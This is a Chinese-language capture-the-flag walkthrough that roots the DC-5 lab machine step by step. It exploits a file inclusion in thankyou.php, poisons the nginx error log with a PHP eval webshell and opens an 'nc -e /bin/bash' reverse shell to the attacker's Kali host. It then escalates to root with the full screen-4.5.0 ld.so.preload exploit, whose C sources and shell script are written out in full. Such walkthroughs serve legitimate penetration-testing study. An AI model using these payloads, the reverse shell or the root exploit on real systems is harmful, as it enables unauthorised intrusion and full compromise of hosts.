目标: 渗透进入DC-5靶场,读取/root目录下thisistheflag.txt文件 读取成功,则代表夺旗成功 使用的工具: kali,蚁剑,御剑 靶机:DC-5 物理机IP:192.168.10.1 kali IP:192.168.10.211 1.确定DC-5靶场IP 使用kali nmap进行扫描,扫描存活主机 kali中输入命令(扫描存活主机): nmap -sP 192.168.10.0/24 扫描结果: 192.168.10.1 (物理机) 192.168.10.2 (网关) 192.168.10.130 (DC-5) 192.168.10.254(DHCP服务器) 192.168.10.211(kali) 得到的结果: DC-5 IP:192.168.10.130 2.确定DC-5端口开启情况 kali中输入命令:nmap -sV 192.168.10.130 扫描结果: 80 111 结论:DC-5的80端口和111端口是开启的 3.访问DC-5靶场80端口对应的WEB应用 在kali的浏览器中,输入:192.168.10.130:80 进入concat页面.输入内容提交后,进入到thankyou.php页面 每次刷新页面时,会发现,页脚的年份可能会发生变化 猜测:可能存在着文件包含漏洞 4.使用御剑扫DC-5 80端口对应的应用后台目录 发现存在footer.php文件 通过kali浏览器访问:192.168.10.130/footer.php文件 发现确实每次刷新,文件内容中的年份都会发生变化 说明:当前web应用中thankyou.php中包含了footer.php这个文件 需要确定引入文件参数名: 在kali浏览器url中输入:192.168.10.130/thankyou.php?file= 出现的结果:页脚不再被引入了 在kali浏览器url中输入:192.168.10.130/thankyou.php?file=footer.php 出现的结果:页脚再次被引入 结论:当前页面包含文件的参数名就是file 再在kali浏览器url中输入:192.168.10.130/thankyou.php?file=/etc/passwd 出现的结果:passwd文件内容显示在了网页上 结论:当前的位置存在文件包含漏洞 /var/log/nginx/error.log 文件中保存着服务器的报错日志 在kali浏览器url中输入:192.168.10.130/thankyou.php?file=/var/log/nginx/error.log 就能够直接访问error.log日志文件 5.DC-5 日志挂马 逻辑:如果服务器报错,就会将错误信息保存到error.log文件中 可以构造一句话木马报错,将一句话木马代码写入到error.log日志中 就相当于error.log日志文件就是我的一句话木马文件 在kali中,使用BurpSuite拦截挂马的请求,使用Reapter进行一句话木马的挂马操作 192.168.10.130:80/thankyou.php?file=<?php @eval($_REQUEST["adc"]);?> 由于<?php @eval($_REQUEST["adc"]);?>所对应的文件不存在,所以会报错,报错就会被记录在 /var/log/nginx/error.log 日志文件中 相当于/var/log/nginx/error.log 这个文件有了一句话木马 我们就可以通过远程管理工具连接 使用蚁剑连接: url : http://192.168.10.130/thankyou.php?file=/var/log/nginx/error.log 密码:adc 蚁剑连接成功->操作DC-5主机所有的文件夹和文件 但是访问/root的时候,出现了没有No Permission权限的报错 当前的蚁剑连接DC-5是没有root权限的 所以接下来要做的就是提权(在kali中,找到提权的方法,并且在kali中进行提权文件的拆分) 6.蚁剑shell反弹到kali中(目的:让kali的中端也可以连接上DC-5) 开启kali监听 1234端口 在kali终端输入:nc -lvvp 1234 蚁剑通过1234端口反弹shell到kali 在蚁剑连接DC-5的虚拟终端界面输入:nc -e /bin/bash 192.168.10.211(kali的ip) 1234 kali运行python中的虚拟终端模块 kali接收到反弹的终端后,kali中输入:python -c 'import pty;pty.spawn("/bin/bash")' 7.在kali连接DC-5终端中寻找具有SUID文件 find / -perm -u=s -type f 2>/dev/null 查出具有SUID的文件 /bin/su /bin/mount /bin/umount ... /bin/screen-4.5.0 ... 发现有一个文件screen-4.5.0 测试这个文件的漏洞 在kali(不是连接DC-5的终端)中输入:searchspolit screen 4.5.0 返回了漏洞利用脚本: 41154.sh 这个脚本文件就可以用来提权 将41154.sh文件复制到kali中的root下 searchsploit -m 4115 就能将41154.sh文件复制到/roo目录下 41154.sh脚本可以进行提权,但是无法直接放在DC-5主机下进行编译 就只能在kali中进行编译 接下来在kali中将41154.sh拆分成三个文件分别做对应操作 8.对41154.sh文件进行拆分以及编译操作 libhax.c文件中的代码为: #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } rootshell.c代码为: #include <stdio.h> #include <unistd.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL); } dc5.sh中代码: #!/bin/bash echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell 前两个.c文件好需要进行编译 第一个命令,将libhax.c文件编译成libhax.so文件 gcc -fPIC -shared -ldl -o libhax.so libhax.c 第二个命令,将rootshell.c文件编译成rootshell文件 gcc -o rootshell rootshell.c 将dc5.sh , rootshell , libhax.so文件复制到物理机中 并且使用蚁剑上传dc5.sh , rootshell , libhax.so这三个文件到DC-5 /tmp文件夹下 回到kali连接DC-5终端中,给dc5.sh添加可执行权限: chmod +x dc5.sh 并且运行dc5.sh ./dc5.sh 回车 此时在kali连接DC-5终端中,再输入whoami之后,就能显示root的用户名 最后直接读取DC-5靶场中/root目录下thisistheflag.txt文件 cat /root/thisistheflag.txt 会显示由数字8和字母组成的单词:NICE WORK!!! 以上操作如果能够读取thisistheflag.txt文件中的内容,代表夺旗成功!